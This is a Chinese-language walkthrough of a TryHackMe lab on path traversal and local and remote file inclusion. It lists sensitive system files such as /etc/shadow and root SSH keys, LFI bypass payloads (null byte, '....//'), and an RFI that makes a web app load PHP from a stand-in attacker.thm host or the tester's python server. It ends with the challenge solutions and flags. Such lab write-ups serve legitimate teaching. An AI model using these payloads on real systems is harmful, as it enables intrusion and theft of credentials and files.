本文相关的TryHackMe实验房间链接:TryHackMe | Why Subscribe
路径遍历(目录遍历)
Location | Description |
---|---|
/etc/issue | 包含要在登录提示之前打印的消息或系统标识。 |
/etc/profile | 控制系统范围的默认变量,例如导出(Export)变量、文件创建掩码 (umask)、终端类型、用于指示新邮件何时到达的邮件消息 |
/proc/version | 指定 Linux 内核的版本 |
/etc/passwd | 包含有权访问系统的所有注册用户信息 |
/etc/shadow | 包含系统用户密码的信息 |
/root/.bash_history | 包含 root 用户的历史命令 |
/var/log/dmessage | 包含全局系统消息,包括系统启动期间记录的消息 |
/var/mail/root | root 用户的所有电子邮件 |
/root/.ssh/id_rsa | 服务器上的root 用户或任何已知有效用户的 SSH 私钥 |
/var/log/apache2/access.log | Apache web服务器的访问请求 |
C:\boot.ini | 包含具有 BIOS 固件的计算机的引导选项 |
本地文件包含
?file=../../../../etc/passwd
通过在过滤关键字的末尾使用空字节 %00
或使用访问当前目录技巧/.
相关payload可参考以下内容:
?file=/etc/passwd%00 ?file=/etc/passwd/.
%00 技巧已修复,不适用于 PHP 5.3.4 及更高版本。
为了更清楚地理解访问当前目录技巧/.
,我们可以查看以下例子:如果我们在文件系统中使用cd ..
,我们将切换到上一级目录;如果我们使用的是cd.
,我们仍然将停留在当前目录。
因此,当我们输入/etc/passwd/..
时,我们将切换目录到/etc/
,然后当我们输入/etc/passwd/.
时,将停留在当前目录/etc/passwd
(因为.
指代的就是当前工作目录,所以并不会进行目录切换操作)。
../
关键字被过滤
当我们输入http://webapp.thm/index.php?lang=../../../../etc/passwd
时,如果收到如下错误提示:
Warning: include(languages/etc/passwd): failed to open stream: No such file or directory in /var/www/html/THM-5/index.php on line 15
这说明:../
关键字被过滤了,当我们检查 include (language/etc/passwd)部分中的警告消息时,我们可以发现web应用程序使用空的字符串内容替代了../
。
我们可以使用一些技术来绕过上述过滤的限制,尝试使用以下payload:
?file=....//....//....//....//....//etc/passwd
这种方式被称为“双写绕过”。
双写绕过生效原因:PHP 过滤器仅匹配并替换它找到的第一个子集字符串 ../
并且不做再次过滤,所以当双写绕过执行成功时,将留下下图所示的内容。
强制include
函数从已定义的目录中读取目标文件
例如,如果 Web 应用程序要求用户提供一个必须包含指定目录的输入:http://webapp.thm/index.php?lang=languages/EN.php
。
为了成功利用此类情况下的文件包含漏洞,我们可以尝试在payload中包含指定目录,即:
?file=languages/../../../../../etc/passwd
远程文件包含
假设攻击者在自己的服务器上托管了一个 PHP 文件 http://attacker.thm/cmd.txt 其中 cmd.txt 包含一条打印消息 Hello THM。
<?PHP echo "Hello THM"; ?>
首先,攻击者注入恶意 URL,该 URL 指向攻击者的服务器,例如 http://webapp.thm/index.php?lang=http://attacker.thm/cmd.txt。如果没有输入验证,则恶意 URL 将传递到 include 函数中。接下来,Web 应用服务器将向恶意服务器发送 GET 请求以提取文件。因此,Web 应用程序将远程文件包含在 include 函数中,以在页面中执行 PHP 文件并将执行内容发送给攻击者。在我们的例子中,某处的当前页面必须显示 Hello THM 消息。
python3 -m http.server
挑战
Challenge-1
因为要POST上传,所以我们使用bp抓包上传吧
这里不知道为什么始终显示错误,所以就使用插件了
Max HacKBar(HackBar最新版要钱,可以去找旧版下载)
这样的
POST传参
flag1:F1x3d-iNpu7-f0rrn
Challenge2
这里显示要admin,而我们是Guest,所以我们要成为admin
但Get和POST传参都不行
所以我们尝试继续修改cookie
接下来我们用上面讲过的方法
../../../../etc/flag2%00
flag2:c00k13_i5_yuMmy1
Challenge3
file=../../.././etc/flag3%00
这题get、post都可以,不过因为使用插件上传会进行url编码
所以只能抓包把%2500改为%00即可
flag:P0st_1s_w0rk1in9
Challenge4
先将php代码写入cmd.txt
<?PHP
echo system('hostname');
?>
python3 -m http.server 8080
http://10.10.109.26:8080/cmd.txt
flag:lfi-vm-thm-f8c5b1a78692
答题: